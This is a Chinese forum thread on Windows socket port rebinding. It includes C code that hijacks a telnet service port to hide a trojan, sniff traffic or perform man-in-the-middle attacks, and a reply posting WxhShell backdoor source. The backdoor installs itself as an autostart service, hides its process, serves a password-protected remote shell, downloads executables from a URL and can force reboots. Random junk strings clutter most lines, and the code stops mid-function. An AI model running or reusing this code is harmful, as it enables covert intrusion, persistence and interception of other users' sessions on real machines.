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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k vF[d{l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j"Z9}F@  
s*tzU.E (  
  saddr.sin_family = AF_INET; z^Y4:^L~I  
_edT+r>+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H=@S+4_bK  
NOQSLT=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #9/S2m2\YG  
{(5M)|>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xX~; /e&,  
oTb4T=  
  这意味着什么?意味着可以进行如下的攻击: eMOnzW|h  
'/GZ/$a_l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Clmz}F  
+nKf ^rG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CuA A)Bj  
+GlG.6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P~@.(hed  
V_P,~!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PS/00F/Ak  
K {__rO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9;L50q>s  
+`+r\*C5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .]LP327u  
]-8yZWal  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mApl}I  
=`f"8 ,5  
  #include OcZ8:`=%  
  #include 3.V-r59  
  #include q/3 )yG6s  
  #include    #TD0)C/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oF=UjA  
  int main() o]WG8Mo-  
  { GU]_Z!3  
  WORD wVersionRequested; JAS!eF  
  DWORD ret; qAirH1#  
  WSADATA wsaData; i1-wzI  
  BOOL val; l>?k>NEpP  
  SOCKADDR_IN saddr; X.)D"+xnH  
  SOCKADDR_IN scaddr; > m##JzWLr  
  int err; O;SD90  
  SOCKET s; (db4.G+0  
  SOCKET sc; ]V.0%Ccw;.  
  int caddsize; ~,O}wT6q  
  HANDLE mt; Qh!h "]  
  DWORD tid;   $ v~I n  
  wVersionRequested = MAKEWORD( 2, 2 ); |emZZj  
  err = WSAStartup( wVersionRequested, &wsaData ); 8\9s,W:5  
  if ( err != 0 ) { |<w Z;d  
  printf("error!WSAStartup failed!\n"); 5}he)2*uD  
  return -1; A"no!AN  
  } Y]9C8c)  
  saddr.sin_family = AF_INET;  FA#8  
   )d"s6i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u{(-`Al}L  
"&N1$$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 93fClF|@  
  saddr.sin_port = htons(23); i~;Yrc%AEX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [y1 x`WOk9  
  { 4KT-U6zNx  
  printf("error!socket failed!\n"); N Uq'96 {Y  
  return -1; M$+2f.(>k)  
  } G8Sx;Xi  
  val = TRUE; n ;0x\Q|S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D$/*Z5Z)]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [" nDw<U  
  { K!onV3mR  
  printf("error!setsockopt failed!\n"); _)F0o C {  
  return -1; ) \|Bghui  
  } )1 =|\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; us3fBY'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m9m]q&hx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =EdLffU[J  
n 2m!a0;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bsgrg  
  { PXJ`<XM  
  ret=GetLastError(); Oa#m}b  
  printf("error!bind failed!\n"); ?~s23%E  
  return -1; 4.}J'3 .  
  } {rWFgn4Li  
  listen(s,2); kG70j{gf  
  while(1) ye-R  
  { s5SKQ#,@P  
  caddsize = sizeof(scaddr); ~f:jI1(}  
  //接受连接请求 ECF \/12  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -+w^"RBV  
  if(sc!=INVALID_SOCKET)  t_Rpeav  
  { t ]yD95|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @[(<oX%  
  if(mt==NULL) (XJ0?;js=  
  { p.J+~s4G  
  printf("Thread Creat Failed!\n"); Nq=r404  
  break; )i{B:w\ ^  
  } /vG)n9Rc  
  } FZW:dsm  
  CloseHandle(mt); .ECT  
  } Q'n]+%YN  
  closesocket(s); M4m90C;dq  
  WSACleanup(); "G,$Sqi@  
  return 0; m6D]   
  }   4:S?m(ah/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 84uHK)h<%  
  { dDoKmuY>5  
  SOCKET ss = (SOCKET)lpParam; [#hoW"'Q9  
  SOCKET sc; M7 Z9(3Va  
  unsigned char buf[4096]; @g~hYc  
  SOCKADDR_IN saddr; aE'nW@YL.  
  long num; Z 71.*  
  DWORD val; uh_ 2yw_  
  DWORD ret; js#72T/_n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uqMe %  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a6&+>\o  
  saddr.sin_family = AF_INET; #lHA<jI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CYCG5)<9  
  saddr.sin_port = htons(23); 0~0OQ/>7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = g[Cs*  
  { w2/3\3p  
  printf("error!socket failed!\n"); "o ^cv  
  return -1; 0nbQKoF  
  } CS<,qvLpL  
  val = 100; @&G< Np`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &/7D4!N]  
  { ?\D=DIN-r  
  ret = GetLastError(); Xob,jo}a  
  return -1; ueM[&:g&MU  
  } Q-:IE T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2UF ,W]  
  { UD@u hL  
  ret = GetLastError(); 6mH --!j  
  return -1; ^bj aa  
  } +9[/> JM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;=?f0z<  
  { /QeJ#EHn  
  printf("error!socket connect failed!\n"); 7Ib/Cm0d|  
  closesocket(sc); X/D^?BKC  
  closesocket(ss); Ym WVb  
  return -1; 2W_p)8t> b  
  } JXBTd=r_oM  
  while(1) 1JIo,7  
  { +TQMA >@g<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pRAdo="  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +?!x;qS^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .1&~@e%=-  
  num = recv(ss,buf,4096,0); SX4"HadV>  
  if(num>0) *<[Nvk^  
  send(sc,buf,num,0); M,ObzgW  
  else if(num==0) 5:o$]LkOWC  
  break; keBf^NY  
  num = recv(sc,buf,4096,0); w!=Fi  
  if(num>0) >pVrY; P[  
  send(ss,buf,num,0); #00k7y>OyD  
  else if(num==0) +@QN)ZwVy  
  break; &s|a\!>l  
  } $\DOy&e  
  closesocket(ss); u9:+^F+  
  closesocket(sc); bHi0N@W!vG  
  return 0 ; eoC@b/F4  
  } Dj~]]  
(61_=,jv\h  
I4%p?'i,C  
========================================================== UA{tmIC\  
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下边附上一个代码,,WXhSHELL Kc>C$}/}$  
y~w -z4  
========================================================== vtv^l 3  
'>}dqp{Wr  
#include "stdafx.h" }[[  
{x+"Ru~7,  
#include <stdio.h> ?3{R'Buv]  
#include <string.h> : *~}\M*  
#include <windows.h> lR^OS*v  
#include <winsock2.h> ),<E-Ub  
#include <winsvc.h> abHW[VP9  
#include <urlmon.h> |b@H]c;"  
jWg7RuN  
#pragma comment (lib, "Ws2_32.lib") j=%^CRum  
#pragma comment (lib, "urlmon.lib") Q}a,+*N.  
=9lrPQ]w  
#define MAX_USER   100 // 最大客户端连接数 Bc/'LI.%  
#define BUF_SOCK   200 // sock buffer &?],uHB?d  
#define KEY_BUFF   255 // 输入 buffer =?*6lS}gy  
T[z]~MJL  
#define REBOOT     0   // 重启 PJ=N.x f}  
#define SHUTDOWN   1   // 关机 %7X<:f|N8x  
W;Rx(o>  
#define DEF_PORT   5000 // 监听端口 /-#1ys#F=  
Lv`*+;1 K  
#define REG_LEN     16   // 注册表键长度 $#cZJ@;]  
#define SVC_LEN     80   // NT服务名长度 pT90TcI2  
sG/mmZHYzr  
// 从dll定义API Wz}8O]#/.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SNV[KdvP*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [3yzVcr~4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %TY;}V59b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :QndeUw  
p)t1] <,Of  
// wxhshell配置信息 +0w~Skd,  
struct WSCFG { ElAho3 W  
  int ws_port;         // 监听端口 YWV"I|Z  
  char ws_passstr[REG_LEN]; // 口令 2(-J9y|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5/v,|  
  char ws_regname[REG_LEN]; // 注册表键名 @>wD`<U|  
  char ws_svcname[REG_LEN]; // 服务名 Vvth,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E&\dr;{7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }!5x1F!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h,Y!d]2w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L|y4u;-Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A@8Ot-t:\2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1]yOC)u"i  
n{>Ge,enP0  
}; Qy)+YhE  
6.o8vC/PZ  
// default Wxhshell configuration S$CO T)7  
struct WSCFG wscfg={DEF_PORT, kOe %w-_  
    "xuhuanlingzhe", 4G:I VK9  
    1, $Hx00 ho  
    "Wxhshell", j\^0BTZ  
    "Wxhshell", y Iab3/#`  
            "WxhShell Service", a@|/D\C  
    "Wrsky Windows CmdShell Service", \m.ap+dFa  
    "Please Input Your Password: ", ISQC{K']J  
  1, $/\b`ID  
  "http://www.wrsky.com/wxhshell.exe", b#**`Y  
  "Wxhshell.exe" }PZz(Ms  
    }; | HkLl^  
%X)i-^T  
// 消息定义模块 "2>I?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <@B zF0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hjuzVOE|W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8+m[ %5lu  
char *msg_ws_ext="\n\rExit."; Z_ Gb9  
char *msg_ws_end="\n\rQuit."; 64Ot`=A"  
char *msg_ws_boot="\n\rReboot..."; .U8Se+;  
char *msg_ws_poff="\n\rShutdown..."; 87/!u]q  
char *msg_ws_down="\n\rSave to "; PGT*4r21  
_3q%  
char *msg_ws_err="\n\rErr!"; kzA%.bP|  
char *msg_ws_ok="\n\rOK!"; "3!!G=s P  
o8 A]vaa  
char ExeFile[MAX_PATH]; -Jo8jE~>V  
int nUser = 0; OD,"8JF  
HANDLE handles[MAX_USER]; 9Fe(],AzF  
int OsIsNt; /?POIn+0o  
~[@Gj{6p0  
SERVICE_STATUS       serviceStatus; +O< 0q"E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m oQ><>/  
7g-#v'.N  
// 函数声明 9m2_zfO[ w  
int Install(void); -*[?E!F  
int Uninstall(void); l2DhFt$!=  
int DownloadFile(char *sURL, SOCKET wsh); | v? pS  
int Boot(int flag); V\ ud4  
void HideProc(void); \bt+46y@]  
int GetOsVer(void); JHY0 J &4s  
int Wxhshell(SOCKET wsl); "K EB0U  
void TalkWithClient(void *cs); Cdjh/+!f  
int CmdShell(SOCKET sock); ;4jRsirx9  
int StartFromService(void); ?Rc+H;x=f  
int StartWxhshell(LPSTR lpCmdLine); A>"v1Wk  
b P>!&s_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]w _,0q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #;bpxz1lR9  
lO/<xSjNd  
// 数据结构和表定义 =*q|568  
SERVICE_TABLE_ENTRY DispatchTable[] = :kycIM]s  
{ uN`{; Av  
{wscfg.ws_svcname, NTServiceMain}, ^}XKhn.S'  
{NULL, NULL} o.tCw\M$g  
}; xF)AuGdp\  
W)"PYC4  
// 自我安装 Z, Kbt  
int Install(void) $9znRTFEj  
{ - b>"2B?  
  char svExeFile[MAX_PATH]; _C9*M6IU  
  HKEY key; 0\t k/<w2  
  strcpy(svExeFile,ExeFile); }i1p &EN^  
C24[brf  
// 如果是win9x系统,修改注册表设为自启动 dw)SF,  
if(!OsIsNt) { :$&%Pxm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GS|sx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q# W|*kL3  
  RegCloseKey(key); IVYWda0m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 73/kyu-0%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %H:uE*WZ  
  RegCloseKey(key); hWK}] gF  
  return 0; T>(nc"(  
    } )^UM8 s  
  } so|5HR|  
} 1xM'5C?~7  
else { `fEB,0j^  
&sL(|>N  
// 如果是NT以上系统,安装为系统服务 yp=Hxf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w]n20&  
if (schSCManager!=0) CW k#Amt.  
{ >=hO jV;  
  SC_HANDLE schService = CreateService nAn/Vu  
  ( !dB {E  
  schSCManager, [B9'/:  
  wscfg.ws_svcname, f[3DKA  
  wscfg.ws_svcdisp, G l+[ |?N  
  SERVICE_ALL_ACCESS, @ NGK2J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y) Y`9u<?  
  SERVICE_AUTO_START, Efi@hdEV  
  SERVICE_ERROR_NORMAL, :mLcb. E  
  svExeFile, ^yUel.N5"  
  NULL, HlqvXt\  
  NULL, 2wE?O^J  
  NULL, $:"r$7  
  NULL, o{yEF1,c\  
  NULL ~lMw*Qw^  
  ); 3*$A;%q  
  if (schService!=0) <=8REA?  
  { c 6sGjZdR  
  CloseServiceHandle(schService); i"%X[(U7  
  CloseServiceHandle(schSCManager); }}XYV eI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pg" uisT#>  
  strcat(svExeFile,wscfg.ws_svcname); e2Sm.H '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {]plT~{e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); > 4ex:Z  
  RegCloseKey(key); AOQimjW9a  
  return 0; )n 1b  
    } mD-qJ6AM  
  } %3scz)4$  
  CloseServiceHandle(schSCManager); 9ctvy?53H  
} +9G GC  
} B7(~m8:eH7  
~n%~ Z|mMF  
return 1; )ALPMmlRs  
} $j:$ `  
pDb5t>  
// 自我卸载 \bqIe}3V7  
int Uninstall(void) ~C=I{qzF+  
{ $,q~q^0  
  HKEY key; #pP4\n-~hU  
BJ!b LQ  
if(!OsIsNt) { J]/TxUE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S-{[3$  
  RegDeleteValue(key,wscfg.ws_regname); `rsPIOu  
  RegCloseKey(key); >f#P(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jm$. $B&I  
  RegDeleteValue(key,wscfg.ws_regname); [2#5;')  
  RegCloseKey(key); e*p7(b-  
  return 0; CI"7* z_  
  } /^^t>L  
} w2!G"oD  
} `Bk7W]{L  
else { P'f =r%  
>c%OnA,3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G'IqAKJ  
if (schSCManager!=0) _O)xE9t#ru  
{ ^;jJVYx-PP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4Gs#_|!  
  if (schService!=0) ehk5U,d  
  { WZO8|hY  
  if(DeleteService(schService)!=0) { E^w2IIw  
  CloseServiceHandle(schService); fe PH=C  
  CloseServiceHandle(schSCManager); I|69|^  
  return 0; w>Iw&US  
  } yG\^PD  
  CloseServiceHandle(schService); [P.M>"c\  
  } 52?zBl`|  
  CloseServiceHandle(schSCManager); m3W:\LTTp  
} |57u;  
} r/zuo6"5  
C(zgBk  
return 1; hw! l{yv  
} K ;\~otR^  
rD=8O#m g  
// 从指定url下载文件 mM&Sq;JJ;  
int DownloadFile(char *sURL, SOCKET wsh) >KHR;W03  
{ ws8@y r<R  
  HRESULT hr; Cbu/7z   
char seps[]= "/"; {hQ0=rv<  
char *token; y4*i V;"  
char *file; wKOljE6d  
char myURL[MAX_PATH]; 8G$ %DZ $  
char myFILE[MAX_PATH]; Z(DCR/U=(>  
X`i'U7%I  
strcpy(myURL,sURL); S3#NGBZ/  
  token=strtok(myURL,seps); YXCltM E  
  while(token!=NULL) MMlryn||1  
  { _8t5rF  
    file=token; ,/0Q($oz  
  token=strtok(NULL,seps); hRAI7xk  
  } t8X$M;$  
:})(@.H  
GetCurrentDirectory(MAX_PATH,myFILE); U\aP  
strcat(myFILE, "\\"); p3tu_If  
strcat(myFILE, file); ^u'hl$`^  
  send(wsh,myFILE,strlen(myFILE),0); cUW>`F( S  
send(wsh,"...",3,0); 5ncjv@Aa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :5)Dn87  
  if(hr==S_OK) \H<gKZquR  
return 0; kc*zP=  
else 1 & G0;  
return 1; e7e6b-"_2  
WgHl. :R  
} MTBHFjXO  
`=m[(CLb  
// 系统电源模块 {g8uMt\4  
int Boot(int flag) m]H[$ Q  
{ vTnrSNdSE  
  HANDLE hToken; 1{6BU!  
  TOKEN_PRIVILEGES tkp; V11(EZJ/j  
6P,vGmR  
  if(OsIsNt) { W,sU5sjA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s P=$>@3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2n]UNC  
    tkp.PrivilegeCount = 1; nc<w DE6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w+A:]SU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LV4\zd6  
if(flag==REBOOT) { 8CXZ7 p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b1+6I_u.  
  return 0; "i jpqI  
} b\6 )whh  
else { &[u>^VO8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +65OR'd  
  return 0; (pBPf  
} a[e&O&Z  
  } E`E$ }iLs  
  else { oJ\)-qSf  
if(flag==REBOOT) { fPXMp%T!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N5W;Zx]  
  return 0; @ P:b\WCI  
} |E{tS,{OhJ  
else { )q.Z}_,)@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L >* F8|g  
  return 0; T6/d[SH>  
} +f5|qbX/\  
} woSO4e/  
i 4sd29v  
return 1; hMcSB8?  
} ~* R:UTBtw  
 L#  
// win9x进程隐藏模块 ?(C(9vO  
void HideProc(void) +jpaBr-O#  
{ 'A^;P]y  
N 3M:|D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 24Y8n  
  if ( hKernel != NULL ) W|~Jl7hs8Q  
  { ,s=jtK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v~l_6V}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ 12mS  
    FreeLibrary(hKernel); F'v3caE  
  } d]3c44kkK{  
O?p8Gjf  
return; {"^LUw8fd  
} MU  }<-1  
B #[UR Z9S  
// 获取操作系统版本 ';'TCb{f*  
int GetOsVer(void) Mx-? &  
{ _oV;Y`_  
  OSVERSIONINFO winfo; NZu\ Ae  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1q?b?.  
  GetVersionEx(&winfo); |E& F e8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )+Nm @+B  
  return 1; PZT]H?  
  else \+?>KpE,b  
  return 0; DGs=.U-=e  
} S1Z~-i*w  
`.MY" g9  
// 客户端句柄模块 G,{=sFX  
int Wxhshell(SOCKET wsl) '}nH\?(  
{ #!A'6SgbkM  
  SOCKET wsh; 1v<,nABuJ6  
  struct sockaddr_in client; sIVVF#0}]  
  DWORD myID; d9j+==S <  
DH@]d0N  
  while(nUser<MAX_USER) # NoY}*  
{ \d"uR@$3mG  
  int nSize=sizeof(client); tQrF A2F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fXL&?~fS  
  if(wsh==INVALID_SOCKET) return 1; $uPM.mPFE  
pBZf=!+E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '7Ad:em  
if(handles[nUser]==0) B% ]yLJ  
  closesocket(wsh); UQ7E7yY#  
else >5O#_?  
  nUser++; YK=o[nPmK  
  } mQbpv'N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eX{:&Do  
wsfN \6e  
  return 0; ""Ub^:ucD  
} O_E\(So  
/k$H"'`j4  
// 关闭 socket OI8Hf3d=  
void CloseIt(SOCKET wsh) {vp|f~}zTw  
{ (plsL   
closesocket(wsh); b}f#[* Z  
nUser--; Q; V*M  
ExitThread(0); w[K!m.p,u  
} X\=m  
(t.OqgY  
// 客户端请求句柄 z PW[GkD  
void TalkWithClient(void *cs) A89n^@  
{ 9=l6NNe)|  
@5[9iY  
  SOCKET wsh=(SOCKET)cs; Mnv2tnU]  
  char pwd[SVC_LEN]; ?<*mIf:?  
  char cmd[KEY_BUFF]; lI)RaiMr=  
char chr[1]; kPuI'EPK  
int i,j; \{GBaMwG~  
SU` RHAo  
  while (nUser < MAX_USER) { . `ND  
7CGxM  
if(wscfg.ws_passstr) { 2 &(w\#'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bd8{25{c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yF _@^V  
  //ZeroMemory(pwd,KEY_BUFF); W1$<,4j@M  
      i=0; q^I/  
  while(i<SVC_LEN) { en5sqKqh+  
NCXr$ES{  
  // 设置超时 -|FSdzvg  
  fd_set FdRead; =_"[ &^  
  struct timeval TimeOut; NDqvt$  
  FD_ZERO(&FdRead); `pTCK9  
  FD_SET(wsh,&FdRead); NI%&Xhn!*>  
  TimeOut.tv_sec=8; MjNq8'$"  
  TimeOut.tv_usec=0; O} &%R:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $vR#<a,7>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c1wP/?|.>  
XMLJ X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MB"TwtW  
  pwd=chr[0]; SKUri  
  if(chr[0]==0xd || chr[0]==0xa) { |Y9mre.Y;  
  pwd=0; k%gO  
  break; Ld9YbL:  
  } >Av[`1a2F  
  i++; </jzM?i  
    } q!y6 K*  
Hd8 O3_5  
  // 如果是非法用户,关闭 socket w y\0o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yPmo@aw]1  
} G%q^8#  
r2xXS&9!|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H?a1XEY/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V9 J`LQ\0  
5Xr<~xr  
while(1) { %Ums'<xJ  
dln1JZ!  
  ZeroMemory(cmd,KEY_BUFF); K8?]&.!  
xis],.N  
      // 自动支持客户端 telnet标准   `alQmGUZ  
  j=0; w{$X :Z  
  while(j<KEY_BUFF) { ox&PFI0Gn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +5k^-  
  cmd[j]=chr[0]; 8=T[Y`;x  
  if(chr[0]==0xa || chr[0]==0xd) { s-[v[w'E  
  cmd[j]=0; OBm#E}  
  break; NU <K+k  
  } x&4gy%b  
  j++; pFW^   
    } kM;fxR:-  
?\.DG`Zxc  
  // 下载文件 >[A7oH  
  if(strstr(cmd,"http://")) { %0MvCm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,'%wadOo  
  if(DownloadFile(cmd,wsh)) !^FR a{b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i .GJO +K  
  else :5DL&,,Q3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <{Pr(U*7}  
  } N0POyd/rL  
  else { ,jc')#]9B  
^8q(_#w`K  
    switch(cmd[0]) { )a=58r07  
  L8WYxJ k  
  // 帮助 t8:QK9|1  
  case '?': { W)z@>4`Bb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M}Obvl  
    break; H~ `JAplr  
  } 9V0@!M8S  
  // 安装 <u Kd)l  
  case 'i': { q,% lG$0v  
    if(Install()) ~^<1k-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&Ios<67g  
    else [zsUboCkc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A(84cmq!q  
    break; ~\]lMsk+  
    } y8e'weK  
  // 卸载 D~T;z pS  
  case 'r': { &WV&_z  
    if(Uninstall()) S"Z.M _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Dd}^khv  
    else $s S;#r0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L5ih|$>  
    break; Gzw9E.Hk  
    } NfsF'v  
  // 显示 wxhshell 所在路径 }|9!|Q  
  case 'p': { (O-.^VV  
    char svExeFile[MAX_PATH]; j#rj_uP  
    strcpy(svExeFile,"\n\r"); \NF5)]:  
      strcat(svExeFile,ExeFile); 0Bn35.K  
        send(wsh,svExeFile,strlen(svExeFile),0); *m6h(8(7Z  
    break; ,>Yl(=&  
    } 4m"6$  
  // 重启 /3KPK4!m  
  case 'b': { #]5A|-O^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H-C$Jy)f"  
    if(Boot(REBOOT)) u5O`|I@R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CwdeW.A"j  
    else { H/''lI{k)  
    closesocket(wsh); VtYrU>q  
    ExitThread(0); z~($ "  
    } Em]2K:  
    break; !4vepa}Y  
    } &G$K. q  
  // 关机 p6AF16*f0  
  case 'd': { "STd ;vR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $, vX yZ  
